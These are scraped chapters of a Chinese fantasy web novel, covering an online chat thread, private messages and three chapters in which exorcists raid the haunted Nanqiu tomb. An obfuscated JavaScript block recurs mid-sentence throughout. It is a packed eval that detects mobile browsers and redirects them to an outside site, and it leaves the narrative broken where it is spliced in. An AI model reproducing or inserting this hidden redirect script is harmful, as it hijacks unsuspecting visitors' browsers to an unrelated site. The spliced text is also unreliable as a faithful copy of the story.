【毛姐】:不要忽略咱们新星演员陈双燕呀!-昨天22:02 【凉】回复【毛姐】:我记得陈双燕是个民俗歌手,这次居然能摊上《惊叫》这么好的资源,虽然还是演的配角,但已经是很大的跨越了。-昨天22:02 【毛姐】:我见过陈双燕,我能感觉到她的野心,相信她一定会越来越好的!-昨天22:03 【等风】:我觉得尖叫女王倒不如真真长得好看,要是真真来演,肯定更好!唉……我的真真……-昨天22:03 【芋头】回复【等风】:什么玩意儿真真?这是讨论《惊叫》的场合,你在胡说八道什么?-昨天22:03 【相框】回复【芋头】:就是那个注销账号的【席兰】。-昨天22:03 【亿兴】回复【等风】:这俩人长相完全不一个风格,没办法比吧。-昨天22:04 【芋头】回复【等风】:我当是谁,那个妓女?她的坏名声也少不了你的一份子!-昨天22:04 【凉】:好啦好啦,别吵了……-昨天22:04 <私信> 【邂逅不再来】:嗨~大师~-今天16:25 【八方来财】:你是谁?-今天16:25 【邂逅不再来】:我是孟寻真哦。-今天16:25 【邂逅不再来】:上一个叫席兰的账号注销掉了嘛,这个账号我只关注你一个人哦~-今天16:26 【八方来财】:好吧,你等着我让陆南把乔玉林的笔记整理出来发给你。-今天16:27 【邂逅不再来】:好呀~-今天16:27 【八方来财】:[图片](关于偷盗荒山野墓的记录)-今天16:29 【八方来财】:[图片](关于偷盗南丘墓的记录)-今天16:29 【八方来财】:[图片](关于偷盗郁林墓的记录)-今天16:29 【邂逅不再来】:这个南丘古墓,是关键,你们去查查吧。-今天16:32 【八方来财】:你的意思是让我们进南丘墓?-今天16:33 【邂逅不再来】:这么说吧,南丘古墓的主人……我认识。-今天16:34 【八方来财】:我家就是长乐市的,据我所知南丘古墓的主人是南丘王,几百年前就死了,你怎么会和他认识?-今天16:35 【邂逅不再来】:南丘王给我托过梦,希望借我之手杀了马慈,所以给我指了利用庙老爷这条路。-今天16:36 【邂逅不再来】:我答应他的原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822257|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因,也包含了我恨马慈的私心。-今天16:37 【八方来财】:不知道南丘王的目的,也不知道他是好是坏你就敢答应,也是挺大胆的。-今天16:38 【邂逅不再来】:有什么关系,反正我这辈子都是个被人不断易手的工具,只要能达到目的,我不在乎。-今天16:38 【八方来财】:好吧,不说这个。那张黑符,是南丘王给你的吗?-今天16:38 【邂逅不再来】:不是他给的。那张符是我求一个人给我的,我不能简单地就把那人抖出来。-今天16:39 【邂逅不再来】:不过呢,我也不是什么好人~如果大师能帮我这个忙,我就把黑符的来历一五一十告诉你~-今天16:40 <私信> 【与你无关】:新委托,这两天你和陆南去一趟长乐市南丘墓。-今天16:40 【八方来财】:委托人是谁?-今天16:40 【与你无关】:你认识的,孟寻真。-今天16:41 【与你无关】:不过你可以考虑不接,这个任务的报酬不是钱。-今天16:41 【八方来财】:那她用什么来当报酬?-今天16:42 【与你无关】:委托人说如果这次能顺利解决,她愿意一辈子为我们做免费的线人。-今天16:42 【八方来财】:你的意见呢?-今天16:42 【与你无关】:如果她成为我们这边的人,黑符的来历应该就能从她嘴里问出来了。-今天16:43 【八方来财】:明白。-今天16:43 【与你无关】:我刚刚掐指一算,南丘墓还挺危险的,我跟你们一起过去吧。-今天16:44 【八方来财】:你现算啊。-今天16:45 【与你无关】:这是重点吗。-今天16:46 合上手机,徐歌和陆南计划后天前往南丘古墓。几天过去,徐歌渐渐习惯了一个接一个的任务模式,吴关所说的“迎凶”她可算是充分迎上了,至于究竟能不能改变自己诸事禁行的倒霉状态,徐歌拭目以待。就算吴关说的不准,单纯完成任务出力赚钱也让徐歌感到满足——总之稳赚不亏,前途一片灿烂! “不过,陆南,你干了这么多年,有没有感觉到自己的命变长了?”这是徐歌第一次问陆南这种问题,她不知道该怎么组织自己的语言。 陆南微微侧首,道:“这个很难感觉出来呢,毕竟我不是因为生病之类的东西才被说是短命的,我自己也没办法感受到自己的死期还有多远。” “死期”对徐歌来说是遥远又沉重的东西,而陆南总能淡淡地,轻飘飘地说出来,仿佛他自顾自地做好了离开所有人的准备,就好像别人对他来说不重要,或者根本是他觉得自己不重要。 陆南有些落寞地笑笑:“这种感觉就像是在雾中,看不清目的地究竟在哪儿,回头连来时的路也不见了。” 徐歌拍拍陆南的肩膀:“但是,起码路在脚底下,我们哪个方向都可以走啊。” 陆南闻言一愣。 徐歌一向心大,凡事都往好处想:“没死就当它有用,感受不到也当它有用。” “嗯,我会的。”陆南笑道。 私信>私信>评论区>如有问题可联系长声负责人>天长地久有时尽,此声绵绵无绝期>欢迎使用长声> 34.南丘古墓 1 南歌二人在长乐下了火车,顺着孟寻真提供的模糊的方向,一路到了南丘古墓所在地。 又是山地,四周荒无人烟,而且山山相连,嵝峋陡峭,不见半分柔和的过渡。山体并非青翠,而是由一种沉郁的黑褐与灰色岩石构成,岩石表面多有裂痕,仿佛曾被神尊攥在手中狠狠捏碎,又随意抛掷在这里。三全村的地形的复杂程度和这里简直不能比,徐歌感觉这里简直就是一个天然的迷阵,将古墓死死地圈在肚子里,拒绝着一切生物的窥探。 徐歌四处张望:“吴关不是说要一起过来吗?怎么不见他人?” 陆南对此表示早就习惯了:“他一直神出鬼没随心所欲,没人知道他的行程,说不准待会就从哪里冒出来了。” 虽然没见到吴关,徐歌却在山脚下发现一张突兀的一张石头圆桌,上面扣着三个泛黄的瓷碗。 在石桌前面站定,陆南道:“吴关又在搞什么鬼?” “看看就知道了。”实干派徐歌当下就挑准一个瓷碗把它翻开,只见碗底刻着一字:“贫”。 徐歌一时语塞,半晌说道:“什么意思啊这?连碗都在嘲讽我?” 陆南见状也拿了一个碗,翻开里面写着:“夭”。 陆南见惯了各种苦大仇深的偈语,丝毫不在意身上再多几句,随手将剩下的碗也翻开了: “孤”。 徐歌只当自己倒霉,原来三个碗里没有一个好字:“抽签还知道把凶签吉签混在一起呢,这反倒没什么意思。” 话音刚落,一个瘦高的人影一路火花带闪电地从半山腰滑了下来,落地一看这人正是吴关。 吴关从上到下拍打着身上那件不嫌热的黑色风衣,一时间尘土飞扬:“你俩可算来了,我都进山里探了一圈儿回来了。” 陆南默默拉着徐歌往后退了一步,抬手挥了挥尘土飞扬的空气。 即使是看到了陆南略带嫌弃的肢体语言,吴关依然厚脸皮地向二人抬起脚展示了一下鞋底:“给我看看我鞋底磨穿了没有。” “……没破,还挺完整的,”徐歌着实没想到吴关这样的术士还亲力亲为地用如此原始的上下山方式,“你就没考虑一下唰地飞下来之类的?” “我这哪儿能说飞就飞?”吴关笑道,“而且我这叫体验不同的下山方式,顺带检查鞋底质量……再给我看看我裤子磨破没。” 陆南打断了吴关的东扯西扯:“你放三个碗在这儿什么意思?” “我到底是给你们留下了什么印象,所有的事都往我身上套?” 徐歌道:“所以说不是你?那是谁留在这儿的?” 吴关嘻嘻笑道:“是我,我没说不是我呀。” “……你无不无聊啊?”徐歌真想翻个白眼送他。 “这仨碗是我用来吃饭的,我还没怨你们动我吃饭的家伙呢。” 陆南问道:“这前不着村后不着店的地方,怎么吃饭?” 吴关反过来问道:“你们吃饭没?” 陆南:“吃了。” 吴关:“那正好再吃一顿。” 陆南:…… 吴关翻开石凳,从里面抽出一根被压得扁扁的黑笔,还有一张半人高的白纸,他抖了抖白纸将它平铺在桌子上,对着笔尖哈了口气,甩了甩墨,问道:“你俩想吃啥?” 徐歌真要理解为什么方冉双说他精神有问题了,她已经懒得提出质疑,于是随口点了道面条,最好里面加只鸡。 吴关信笔作画,在白纸上画了一只伸腿瞪眼鸡,眼珠子快要跑出眼眶的那种。 大作完成,吴关心满意足地将纸了三叠,并指为刃,将这幅画切成了一缕一缕的白条。陆南按他的吩咐在三只碗里添了水,吴关将这些纸条平分到三个碗里,空中一道火符打过去,碗里瞬间腾起熊熊火焰,烧着烧着,徐歌居然真的闻到了鸡油香。 她甚至怀疑自己被吴关一把火烧到脑子了。 火焰很快熄下去,三碗喷香的鸡肉面居然真的出现在了眼前。 徐歌还是不敢相信:“幻术?” 旁观了全程的陆南开口道:“颠倒虚实,操纵五行……画物为实。” 这边正说着,吴关早就在凳子上坐下来开吃了,徐歌凑到自己碗边闻了闻,果真是一碗香喷喷的面条:“这吃进去不会在胃里变回纸吧?” 吴关笑道:“当然不会,我这可不是骗人的腥本事。” 徐歌盯着手里热腾腾的面,道:“那如果人人都会这法术,天底下不就不会再有饥荒了?” “关键就在于这术法没几个人会,而且这恐怕要烧很多灵力,要变也变不出多少来。”陆南将碗里的鸡肉分到徐歌碗里。 “天底下不存在哪种法术,能救众生于疾苦,从来不存在,”吴关用指腹顺着碗沿画着圈, 徐歌吃尽这碗面,碗底的“贫”又重新露了出来。 她皱了皱眉,将碗一推,道:“拿孤贫夭吃饭也太不吉利了。” “哦?”吴关笑起来,“我还是第一次听有人这么说我的碗。” 陆南笑道:“没人说才不正常吧。谁知道你从哪里搞来这玩意儿,看着这三个字下饭吗?” “不说这个了,”陆南起身道,“所以你探路探出什么来了吗?” 吴关道:“当然,我爬上山顶,看见山对面有条大河。” “然后呢?”徐歌有些不明所以。 陆南解释道:“墓穴一般靠山面水,意为身后有靠山,财运源源不断,南丘墓很可能就在那里。” 这意味着三人需要徒步翻越这座高耸奇崛的山,这即使用上疾走符也是个费力的工程,而且很容易一个控制不好就从陡峭的山体坠落。 吴关东掏西掏掏出一卷绳索,他把绳索的一端往天上一抛,那绳索就像有生命一般朝着天空长去,直到看不见尽头。 “神仙索?”徐歌不禁诧异,“这应该是彩门的经典骗术啊,你这绳子里居然没有升降杆??” 吴关撇了撇嘴,不屑地说道:“我这才不是骗术,这可是正儿八经的‘神仙索’!知道八仙过海的故事吧?神仙成功渡河靠的才不是那些葫芦扇子本身,而是祂们自身的本领。你看见的这条麻绳,本质上是我的术法。没有术法的人,才会依赖骗术。” 徐歌不禁回忆之前见过的所有表演神仙索的彩门子——里面不会也混进去过真的吧? 也不管徐歌听没听明白,吴关说完了就一把抓住神仙索升向空中,然后朝还在地下的二人抛下来一句话:“走走走,时间不等人咯!” 见状徐歌试探性地抓住那根还在朝天空不断伸展的绳索,很快就双脚离地被带到了空中,待到接近山顶的高度,她看见吴关正站在那里朝她招手,于是徐歌果断地纵身一跳跃至山顶,陆南也很快地从神仙索上松手跳了过来。 待三人站定,神仙索的末端像有生命一般落入吴关手中,通天的那一端也啪地垂落下来。只见吴关将绳索团了两圈,那条无穷无尽长的神仙索就被他轻而易举地卷了起来,再看,已是和普通的细麻绳无异。 在山顶上往山的另一侧看去,果然在山脚下看见一条宽阔的河流,顺着水流的方向望去,发现这水竟是从狭窄的石缝中流进这个半包围的盆地,又从另一侧的石缝中流出去,多少有些违背常识。故而徐歌几乎直觉肯定,神秘的南丘古墓正好和这种违背常理的山水互相搭配。 徐歌侧头看向陆南,后者还在打量着这块地的地形,看起来他的想法与徐歌一致。 吴关依旧是一副笑嘻嘻的不着调样,他纵身向下跳到了一块凸起的岩石上,转头朝着南歌二人朗声道:“你们两个,走我走过的地方,结实。”说完便继续朝下赶路,徐歌和陆南瞅准角度,沿着他走过的位置紧随其后。 下山途中,徐歌心道,吴关做事这不是挺可靠的,甚至有的地方称得上一句细致,但为什么他就是给人一种不靠谱的感觉呢?难道这就是他的独特气质? 这样想着,刚跃至下一块山岩,咔啦一声,徐歌只觉脚下一空,整个人就往下仰去。好在身后的陆南毫不犹豫地跟着她跳下来,一手攀住山体一手拉住了她的胳膊。 一停止下坠,徐歌就赶紧用脚踩在岩壁上减力,随后就被陆南半拖半抱地拉到了身边。 此时两人的贴得极近,徐歌的头靠在陆南胸前,他的心脏像快要崩塌一样剧烈地跳动。徐歌一边心里想着我记得陆南不恐高啊怎么吓成这样,一边抬头,结果正对上陆南微微泛红的眼眶。 徐歌愣了一下,道:“刚刚确实是刺激哈,多亏了你了,不然我小命不保。”劫后余生的徐歌本想拍拍陆南的肩膀表示感谢,结果不知是因为岩壁上空间狭窄不适合大幅度动作,还是陆南近在咫尺的脸蛋过于精致好看,徐歌竟阴差阳错地将手放到陆南的脸上摸了一下。 摸完,两人俱是一愣。 徐歌的指间还残存着微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825974|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的触感,她连滚带爬地在山里抹的一手土,就这么转移到了陆南白皙的脸上。 靠,我在干什么。 徐歌慌张地别过头,找到一块结实的山岩就逃也似的跳走了——明明小时候发脾气还经常去扯陆南的脸,怎么长大了反倒拘束起来了。 这次徐歌没有再掉下去,还算顺利地到达了河岸边。不得不说,双脚落回土地上的感觉实在是太好了。 回头看去,陆南也平安地从石壁到达了地面,他的表情看起来已经平复了不少,就好像刚刚的一切都没有发生。正好徐歌也不是什么脸皮薄的人,整件事也就是让她别扭困惑了一小会儿就被抛诸脑后了。 “墓道这不就有了吗?” 徐歌循声看去,只见吴关悠哉地站在一处岩壁下,身后是一个半开的石洞。 徐歌探了半个身子进去,只觉得这个黑漆漆的石洞好似吞噬了所有的声音与光亮,她保持着原来的姿势探手四处摸了摸,只能摸到附近向下延伸的石路,再不敢贸然深入,总觉得会有东西会拽着她的胳膊把她拖进去。 “小心点。”陆南蹲下来,点燃一张燃烧符扔了进去,那张符纸无风自动,顺着向下的石路一直落下去,直到完全看不见火光。 “嗬,果然很深。”吴关探过头来感叹了一句。 陆南放下背上的背包,从里面拿出了两个手电筒,将其中一个递给了徐歌,然后看了一眼两手空空的吴关:“你就带了一根神仙索?” “这么麻烦干嘛,用燃烧符不就行了。”吴关说着向陆南伸出了手。 “……所以你真的什么没带,”陆南无奈地拿出几张符咒扔到吴关手里,“你以为谁的灵力都跟你一样用不完吗?” 徐歌在一旁清点了一下他们身上的装备,除了腰间的钢刀和肩膀上的捆尸索,挎包里还装了一沓上次用剩下的符咒,以及一些从碧稞青那里拿来的不明药物,剩下的口罩手套等乱七八糟的小东西都被塞进了陆南身上的背包里。 徐歌忐忑地朝墓里又看了一眼,嘟囔道:“希望我这个破运气能少招给咱们惹点麻烦……” “诶!话不能这么说,你的运气其实并那么差,”还没等陆南开口,吴关接着就提出了反对意见,“你想想,你要是点儿背,就不会遇上我了不是!” 徐歌:…… 陆南:…… “走吧走吧,我来开路!”吴关说完就探身进了古墓,南歌对视一眼,一后一前跟了过去。 于是,吴关开路,陆南殿后,走在两个大佬的中间的徐歌感到非常安心。 ——个屁啊! 吴关一边狂奔一边嚎:“不应该啊,这里摁下去不应该会出现密道吗?!怎么哪哪儿的墙都会喷火啊?!” 在吴关英明的带领下,一行人流沙伏火巨石弩箭一个没落下,一路上徐歌连滚带爬鞋都差点跑飞了。 三人逃进一处墓室,暂时躲过了机关的追杀,徐歌气喘吁吁地质问吴关:“这墓里所有的机关都被我们试遍了吧?!” 吴关摊了摊手道:“哎呀,咱们都是捉鬼的术士,下墓这种东西,专业不对口啊。” 陆南终于忍无可忍道:“……你给我滚到后面去。” 吴关:“好嘞。” 不论旁人怎么说他,吴关总是一副不羞不恼不答不辩的样子,任你千磨万击,他都笑嘻嘻地认下,然后该怎么恶心你还怎么恶心你。陆南早就摸清了他的脾气,也懒得真的跟他生气计较。 于是队伍变成了陆南开路,吴关殿后,也不知道先前是否真的已经把所有的机关都蹚遍了,在陆南的带领下就没再遇上机关。 吴关在后面接着贫嘴:“很有天赋啊陆南,说不定你盗墓也能干得风生水起嘞。” 陆南头也不回地答道:“我只是没有见到开关就手欠地上去摁而已。” 甬道里的黑暗重归于静寂,只有手电筒发出的三道惨白光柱在其中切割,摇晃。空气湿冷粘稠,弥漫着一股混合了泥土、腐朽木料和某种难以言喻的腥甜气味。三人的脚步声在狭窄的通道里被无限放大,又被厚重的石壁吸吮吞噬,彼此的呼吸声显得格外清晰。 等等,几道光柱? 吴关不是没带手电筒吗? 意识到不对的徐歌用手电筒往后一照——身后空空如也。 “吴关不见了!”徐歌尽量压低了声音告知前面的陆南,却在转过头后发现陆南也不见了踪影。 35.南丘古墓 2 “陆南——吴关——!” 无人回应。 徐歌心里一沉,恐怖电影里的经典落单桥段在他们身上重演,接下来的情节徐歌再熟悉不过——落单的主角被邪祟逐个击破。 越到这时候越要冷静,地底没有手机信号,徐歌就着手电筒的光源向前探索,不久就来到了一处墓门前,门旁石墙处有一个锈在上面的金属拉杆。 徐歌趴在石门上,隐隐约约听到里面有东西相互摩擦的声音,难道里面有人? 无知无畏的徐歌将手电筒叼在嘴里,双手用力地扳动了拉杆。 石门比想象中沉重,开启得非常缓慢,还没等进去,一股臭得如有实质的腐烂气味朝着徐歌迎面砸过来,徐歌干哕了一下,将手中的强光手电猛地向门内照去。 光束刺破门内浓稠的黑暗,光之所及,密密麻麻。 那是....“人”。 死后尸变的人。 南丘古墓怎么会有这么多跳僵?难道是陪葬的人怨气太大尸变了?不不,他们穿的明明是现代的服装……很快,一个令人胆寒的想法浮现在徐歌脑海里——最开始的盗墓者死在南丘古墓发生尸变,它又感染了后来的闯入者,一批一批,积攒至今。 “咔嚓咔嚓”的骨骼摩擦声,如同潮水前的第一声涟漪,在这片跳僵池里回荡,紧接着,整片潮水都被唤醒了,跳僵朝着徐歌疯狂地涌来。 徐歌双拳难敌四十手,慌不择路地拔腿就跑,一边跑一边后悔——明知道自己倒霉还乱开门干啥啊!!其实徐歌一开始的猜测不错,这些怪物大部分都是最低阶的绿僵,战斗力很低,但是无奈数量太多,想要同时应对这么多跳僵简直是痴人说梦。 多亏了先前躲避机关追杀的经验,徐歌一路上跑得也是相当顺畅,直到前方出现一条五六米宽的裂缝。 徐歌定了定神,一招八步赶蝉成功跃至对面,免去了一停下脚步就被僵尸啃成人干的风险。 但跳僵跳僵,跳跃的能力同样不容小觑,它们纷纷朝着徐歌所在的对岸跳扑,大部分跌入深渊摔成腐烂的肉饼,其中身强力壮的跳僵成功跳了到对岸,又被徐歌一脚一脚地踹下去。 徐歌一边往下踹一边感叹道,简单暴力,比贴符好使。 一不留神,徐歌的脚腕被一只从崖壁上伸出来的手紧紧地抓住,徐歌心道不好,低头看去,原来是有几只跳僵没有摔到底,狰狞地攀在了崖壁上。 正当这时,一阵清亮的药气从徐歌脸颊旁掠过,凌厉的棍风从陆南手下挥出,将扑过来的跳僵扫到崖底,徐歌顺势用钢刀砍断了脚腕上的跳僵手,将那玩意儿扔了下去。 一直被跳僵身上的恶臭熏得晕头转向的徐歌从来没觉得陆南身上的味道这么好闻过,于是忍不住朝他那边靠了靠,还拎起他的袖口猛吸了一口。 陆南被她的这个举动给整懵了,他蜷了蜷手指,想说的话愣是被忘了干净,半天问出来一句:“……你哪里伤到了?” 徐歌声明道:“我没受伤,脑子也没被啃——你不知道那些跳僵多臭啊……” 陆南哑然失笑,转而朝着崖底甩出两张燃烧符,火焰噌的一声上来,整片裂缝活像地狱深渊,熊熊火焰斥退了对岸的跳僵。 “往后站站,别被火燎到了。”陆南温声道。 徐歌听话地往后退了退,“这段时间你去哪儿了?到底是什么东西在搞鬼。” “应该是在吴关贫了那句嘴以后,我们三个就被拆开了。” 这么说来,她和两个邪祟不声不响地在墓里摸了起码五六分钟!要不是发现手电筒的光束数量有问题,早不知道被带到哪里去了。 ……其实,也不一定,只要那个顶替吴关的邪祟一直不说话,徐歌同样也能发觉不对。 想到吴关,徐歌问道:“你有见到吴关吗?” “放心吧,谁出了事他都不可能出事的,”陆南将符棍换到另一只手,活动了几圈手腕,“走吧,我已经大体摸清楚南丘古墓的构造了。” “这就摸清楚了?!我在过道上跑都没跑明白呢。”徐歌自诩方向感很好,但古墓的结构属实诡谲,不被困在原地反复迷路就已经很不错了。 “我也走错了很多地方,只能说勉强记了个大概。” “真羡慕你,脑子一直都这么好使,”徐歌笑着夸道,“所以我们接下来要去哪里?” 陆南道:“去主室。” 还没走两步,徐歌突然停住了:“等一下,如果我跟着你再像之前那样失散怎么办?” 大概率不会,如果那邪祟的目的是让他们落单,就不会让南歌二人没费多少功夫就在这里遇上了,所以它的根本目的是把他们和最强的那个吴关分开——毕竟奈何不了吴关还奈何不了他们? 但陆南没有将他的推测讲出来,他将符棍的一头递到徐歌面前:“要不,你牵着我的符棍?” “行。”徐歌干脆利落地握了上去,陆南的符棍比市面上的符棍要更长,足有半人高,上面还刻着密密麻麻的红色符文,但握上去的手感倒是十分温润。 两人就这样一前一后在墓道里走着,很快又来到一处石门前,这处石门和先前那处相比明显大了很多,周围也没有拉杆之类的开关,想凭借蛮力推开几乎不可能。 “既然墓主人没有尽到地主之谊,对我们先下了手,那我们也没有必要跟它客气了,”陆南笑了一声,转而对徐歌道,“你来用爆破符,把门炸开。” “直接炸人家的坟啊?会不会不太好。”嘴上这么说,徐歌身体却是很诚实地啪地将符拍在了石门上。 符咒的威力取决于两个方面,一是绘制符咒的人的能力,二是使用符咒的人的水平。其他的法器也是同理,实力不够就无法完全发挥法器的功用,徐歌身上的山鬼花钱时灵时不灵也是这个原因——她自身的能力无法驾驭花钱,就好似是给了小孩一把锋利的大砍刀,别说刀刀暴击了,连举起来都费劲。 总之,以徐歌的灵力水平计算,爆破符的威力刚好能炸开这堵石门而不让墓穴塌方。 轰的一声巨响过后,石门被豁开了一道大口子,一阵阴风从里面涌出来,二人的手电筒闪烁两下嗡地熄灭——就像是被那阵诡异的阴风吹灭了一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆南心道不好,正要去阻止那口棺材闭合,却被南丘王缠着无法及时脱身。陆南眼神一凝,手底抖出一张黑符,正要使用,蓦然觉得头顶有异,似乎是有人站在墓穴顶上跺了一脚,而这一脚的力量似乎真的落在了陆南肩膀上,把他压在了原地。 与此同时,一旁的南丘王身形一变,颤抖着直接被拍在了地上,连头也抬不了一下,那张人脸更是疯狂地挣动着,失声地在棺材板上做出痛苦的表情。 那股压迫感似乎察觉到了陆南的位置,下一瞬,陆南身上陡然变轻,他扯了扯嘴角,心道吴关终于还算干了点人事。 嘭——! 徐歌在里面一脚把棺材盖直接踹飞了出去,上面的人脸露出了愤怒又惊讶的表情后便被徐歌连同棺材盖一起踩到了地下。 战至现在,南丘王的一条胳膊已经被符棍打散——正好是掐过徐歌脖子的那条,陆南后撤一步,突然笑道:“诸位不如好好听我说一句吧?” 下一秒,以棺材为中心,硕大的法阵瞬间展开,将二人两鬼拖入了另一个空间。 36.南丘古墓 3 徐歌被扔进棺材的时候,把山鬼花钱作为阵眼放了进去,再加上陆南墓中探路时顺带组画的其他部分,至此,一个简易的法阵完成了。 阵内,原本诡谲的墓室变成了一片田地,在这里二人见到了尚还为人的南丘王以及王妃。 此法阵为时间神尊所创,有的怨魂怨气过重难以通过符咒直接沟通,这个法阵可在保留怨魂记忆的同时将时间倒转回它们死亡之前,相当于绕过混沌与他们的理智直接交流。 南丘王看起来俨然是一个文质彬彬的君王,他愣愣地站在原地,好像还没明白过来发生了什么。 先前被徐歌踩在地上摩擦的南丘王妃从地上爬起来,她的姿色艳丽五官妖艳——难以想象这张脸后来居然会扭曲成渗人的鬼脸,一边尖叫着一边到处乱窜。正当徐歌做好了被这张美得咄咄逼人的脸庞斥责不敬的准备时,只见后者的嘴一瘪,直接哭了出来。 徐歌:? 南丘王见状也跟着哭了起来,眼泪像断线的珠子一样落在地上,甚至哭得比王妃还楚楚可怜。 徐歌:?? 怎么感觉这两位,窝窝囊囊的……? 陆南也一时没料到这俩人反差会这么大,眼见得两人越哭越厉害,他捏了捏眉心打断道:“……都别哭了,这个法阵撑不了多久,有什么冤屈赶紧说吧。” 与基础的符咒相比,阵法威力大,范围广,但也存在灵活性差,布置费时费力的缺点。由于时间紧迫,这个阵法布置得相当简陋,像是用牙签组装起来的房子,堪堪立得住,怕是再过五分就散了。 王妃哪见过对自己这么凶的人,仰头哇的一声哭得更委屈了。 陆南:…… 难道是法阵在某个地方出了差错,把她的心智退成小孩了? 南丘王的眼泪还没止住,哗哗的仿佛受了天大的委屈,他一边哭一边说道:“对……对不起……我们没想害人的……” “人死后混沌入体会无限放大怨恨,最终让你们失去理智,这不是人为可以控制的事,”陆南表示理解后又问道,“所以你们的执念是什么?我们可以帮你们,这是我们的工作。” 王妃一听这句话,表情瞬间亮了——虽然眼泪还吧嗒吧嗒地往地上砸:“我们的阿宁被该死的盗墓贼偷走了!你们能帮我把他救回来吗?” 阿宁?难道是乔玉林来偷盗的那具男童尸体? “你们还记不记得,自己给一个叫孟寻真的舞女托过梦?”徐歌问道。 “孟寻真……”南丘王回忆道,“想起来了,我的确托过……我实在是走投无路的才……但是现在想想或许是不对的……对不起……” 陆南问道:“为什么会选择孟寻真?” “应该是,她应该是我们的后人……她经过南丘,我察觉到了这份血脉上的链接,”暂时脱离了混沌影响的南丘王的道德水平似乎变高了不少,“现在想想她过得肯定不好……是我作为先祖不够争气,真是对不起……” “你先别对不起了,”陆南叹了口气道,“阿宁被带到了哪里?” 王妃蹦了起来:“阿宁被封进了墙里!我看见的!是个方方正正的楼!” 墙里……果然,增宝商场。 南丘王道:“我们看见的……阿宁的身体被关在墙里,魂魄还被炼成了我不认识的东西……我们的阿宁受苦了……” 魂魄一旦被炼成小鬼,仅有的记忆和认知也会被篡改,变成只会执行命令的工具,一旦离开主人就会魂飞魄散,带不回来的。看着眼前的两个泪人,陆南的话一时卡在了喉咙里。 南丘王看出了对方的犹豫,凄然一笑道:“……就算阿宁的魂魄已经回不来了,也请把他的身体带回来吧。” 陆南顿了一下,点点头道:“明白了,我们会尽力把阿宁给你们带回来的,但条件是,帮你们找回阿宁以后,你们要接受我们的度化,以后不能再在墓里作祟了。” “好,好……”南丘王讷讷应声,又想起什么一样替自己辩驳了两句,“一开始我们死的好好的,盗墓贼进来之后偷东西就算了还四处搞破坏,让我们不得安宁,所以我们才……对不起……” 王妃也答应道:“只要你们能带回阿宁,我们什么都做……以后再有人来这里我们就把宝贝都送给他们!” 南丘王回头对王妃说道:“你忘啦,咱们墓里的值钱东西已经被偷干净了……” 徐歌打心底里对这窝窝囊囊的两口子讨厌不起来,难以想象他俩死前勾心斗角的日子是怎么过的。 “这儿的天真蓝。”阵法溃散的前一秒,南丘王喃喃地说了一句,似是幻觉,又像是叹息。 周遭景象如潮水般退去,两人再度回到阴冷的古墓。南丘王又变回那头散发、狰狞可怖的怨魂模样,尚在阵法余韵中发愣。 徐歌头皮一麻,趁着阵法对它们的影响还没有消退,正要拽上陆南赶紧跑路,耳旁却突然响起一声低笑—— 周遭空间蓦然扭曲坍缩,仿佛有一只无形之手将他们从墓底猛地提起。只一刹那,天旋地转,再定神时,二人竟已稳稳站在地表之上。 夜风拂面,星月当空。 吴关乐呵呵地背着手站在跟前,悠闲到仿佛只是出门散了趟步。 还是那句话,能回到地面上的感觉真好。徐歌吐了口气:“这又是什么术法?厉害啊。” “这是‘出入无间’,空间神尊当年发明的。”吴关简单地回答道。 “我在书上看到过关于这个术法的记载,”陆南收起符棍,贴心地在一旁给徐歌补充,“‘能为此道,分身散形,以一为万,立成六军。千亿里外,呼吸往还。乘云履水,出入无间’。” “噢~”徐歌恍然大明白,“有这么方便的术法一开始不用,就喜欢上蹿下跳锻炼身体?” 吴关道:“哎呀,天有天规地有地律,此等厉害的术法我是不能说用就用滴!” “原来你不能随便用啊,”徐歌对这个术法十分心动,于是本着开口要要也没啥损失的原则打蛇随棍上,“要不你把它教给我,这样一来就不用勉强你了。” 见徐歌口出狂言,吴关倒也不气不恼:“当真想学?——也不是不行。” 徐歌本不抱有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“顺带回家探亲?”吴关歪了歪头,“太平村是吧?那附近正好有点事情要我处理——顺路顺路。” “你要去办事?我们村里出了什么事吗?”徐歌问道。 吴关道:“不是你们村,是那附近有块墓地的风水需要调整一下,总之是件小事,放心好了。” “小事你舍得亲自出马?”没等吴关解释,陆南接着说道,“算了,随便你跟着,到时候少给我们捣乱。” “那哪儿能呢?我在你心里就是这号人?”吴关一脸委屈,顿了顿又正色道,“不过还是提醒你们一句,尤其是徐歌,探亲这种事,少做。” 徐歌心道来这个组织之前也没签什么卖身契啊:“为什么?我们又不是坐牢了,连家也不能回?” 